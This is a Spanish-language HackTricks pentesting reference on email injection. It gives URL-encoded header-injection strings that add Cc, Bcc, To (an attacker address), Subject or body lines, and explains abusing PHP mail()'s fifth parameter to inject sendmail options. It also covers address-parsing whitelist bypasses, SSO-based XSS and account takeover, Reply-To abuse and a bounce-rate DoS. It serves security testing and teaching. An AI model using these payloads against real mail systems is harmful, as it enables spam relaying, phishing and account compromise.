9.2 KiB
Inyecciones de Correo Electrónico
Utiliza Trickest para construir y automatizar flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.
Obtén Acceso Hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF, consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sigue a Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de HackTricks y HackTricks Cloud.
Inyectar en correo enviado
Inyectar Cc y Bcc después del argumento del remitente
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
El mensaje será enviado a las cuentas del destinatario y destinatario1.
Inyectar argumento
From:sender@domain.com%0ATo:attacker@domain.com
El mensaje será enviado tanto al destinatario original como a la cuenta del atacante.
Inyectar argumento Subject
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
Cambiar el cuerpo del mensaje
Inyecta un salto de dos líneas, luego escribe tu mensaje para cambiar el cuerpo del mensaje.
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
Explotación de la función mail() de PHP
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
El 5º parámetro ($additional_parameters)
Esta sección se basará en cómo abusar de este parámetro suponiendo que un atacante lo controla.
Este parámetro se agregará a la línea de comandos que PHP usará para invocar el binario sendmail. Sin embargo, será saneado con la función escapeshellcmd($additional_parameters)
.
Un atacante puede inyectar parámetros adicionales para sendmail en este caso.
Diferencias en la implementación de /usr/sbin/sendmail
La interfaz sendmail es proporcionada por el software de correo electrónico MTA (Sendmail, Postfix, Exim, etc.) instalado en el sistema. Aunque la funcionalidad básica (como los parámetros -t -i -f) permanece igual por razones de compatibilidad, otras funciones y parámetros varían mucho dependiendo del MTA instalado.
Aquí hay algunos ejemplos de diferentes páginas de manual del comando/interfaz sendmail:
- Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html
- Postfix MTA: http://www.postfix.org/mailq.1.html
- Exim MTA: https://linux.die.net/man/8/eximReferences
Dependiendo del origen del binario sendmail se han descubierto diferentes opciones para abusar de ellos y filtrar archivos o incluso ejecutar comandos arbitrarios. Consulta cómo en https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
Inyectar en el nombre del correo electrónico
Partes ignoradas de un correo electrónico
Los símbolos: +, - y {} en raras ocasiones pueden usarse para etiquetar y ser ignorados por la mayoría de los servidores de correo electrónico
Comentarios entre paréntesis () al principio o al final también serán ignorados
- Ej. john.doe(intigriti)@example.com → john.doe@example.com
Bypass de lista blanca
Comillas
IPs
También puedes usar IPs como nombres de dominio entre corchetes:
- john.doe@[127.0.0.1]
- john.doe@[IPv6:2001:db8::1]
Otras vulnerabilidades
SSO de terceros
XSS
Algunos servicios como github o salesforce permiten crear una dirección de correo electrónico con cargas útiles XSS. Si puedes usar estos proveedores para iniciar sesión en otros servicios y estos servicios no están saneando correctamente el correo electrónico, podrías causar XSS.
Toma de control de cuenta
Si un servicio SSO te permite crear una cuenta sin verificar la dirección de correo electrónico proporcionada (como salesforce) y luego puedes usar esa cuenta para iniciar sesión en un servicio diferente que confía en salesforce, podrías acceder a cualquier cuenta.
Nota que salesforce indica si el correo electrónico proporcionado fue verificado o no, por lo que la aplicación debería tener en cuenta esta información.
Reply-To
Puedes enviar un correo electrónico usando From: company.com y Reply-To: attacker.com y si se envía alguna respuesta automática debido a que el correo electrónico fue enviado desde una dirección interna, el atacante podría recibir esa respuesta.
Tasa de rebote duro
Algunas aplicaciones como AWS tienen una Tasa de rebote duro (en AWS es del 10%), que cuando se sobrecarga el servicio de correo electrónico se bloquea.
Un rebote duro es un correo electrónico que no pudo ser entregado por algunas razones permanentes. Tal vez la dirección de correo electrónico sea falsa, tal vez el dominio del correo electrónico no sea un dominio real, o tal vez el servidor del destinatario del correo electrónico no acepte correos electrónicos), eso significa que de un total de 1000 correos electrónicos si 100 de ellos eran falsos o inválidos y causaron que todos rebotaran, AWS SES bloqueará tu servicio.
Entonces, si puedes enviar correos (quizás invitaciones) desde la aplicación web a cualquier dirección de correo electrónico, podrías provocar este bloqueo enviando cientos de invitaciones a usuarios y dominios inexistentes: DoS del servicio de correo electrónico.
Referencias
- https://resources.infosecinstitute.com/email-injection/
- https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
- https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view
- https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud en github.
Usa Trickest para construir y automatizar flujos de trabajo fácilmente, impulsados por las herramientas comunitarias más avanzadas.
Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}